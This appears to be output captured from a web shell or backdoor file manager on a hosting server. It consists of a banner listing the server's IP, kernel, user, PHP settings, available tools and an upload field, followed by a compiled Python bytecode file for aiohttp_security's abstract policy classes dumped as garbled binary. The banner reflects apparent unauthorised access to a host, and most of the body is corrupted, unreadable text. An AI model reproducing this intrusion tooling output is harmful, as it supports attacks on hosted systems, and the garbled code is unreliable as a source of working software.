| Server IP : 198.54.126.161 / Your IP : 216.73.216.116 Web Server : LiteSpeed System : Linux premium12.web-hosting.com 4.18.0-553.94.1.lve.el8.x86_64 #1 SMP Thu Jan 22 12:37:22 UTC 2026 x86_64 User : amerfigf ( 898) PHP Version : 8.2.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/aiohttp_security/__pycache__/ |
Upload File : |
�
�|oi� � �^ � d dl Z G d� de j �� � Z G d� de j �� � ZdS )� Nc �n � e Zd Zej d� � � Zej d� � � Zej d� � � ZdS )�AbstractIdentityPolicyc � �
K � dS )z�Return the claimed identity of the user associated request or
``None`` if no identity can be found associated with the request.N� )�self�requests �f/builddir/build/BUILD/cloudlinux-venv-1.0.10/venv/lib/python3.11/site-packages/aiohttp_security/abc.py�identifyzAbstractIdentityPolicy.identify �
� � � �
�� c � �
K � dS )z�Remember identity.
Modify response object by filling it's headers with remembered user.
An individual identity policy and its consumers can decide on
the composition and meaning of **kwargs.
Nr )r r �response�identity�kwargss r �rememberzAbstractIdentityPolicy.remember s
� � � �
�r c � �
K � dS )zc Modify response which can be used to 'forget' the
current identity on subsequent requests.Nr )r r r s r �forgetzAbstractIdentityPolicy.forget r r N)�__name__�
__module__�__qualname__�abc�abstractmethodr
r r r r r r r so � � � � � ���
�
� ��
�
��
�
� ��
� ��
�
� ��
�
�
r r )� metaclassc �P � e Zd Zej dd�� � Zej d� � � ZdS )�AbstractAuthorizationPolicyNc � �
K � dS )z�Check user permissions.
Return True if the identity is allowed the permission in the
current context, else return False.
Nr )r r �
permission�contexts r �permitsz#AbstractAuthorizationPolicy.permits"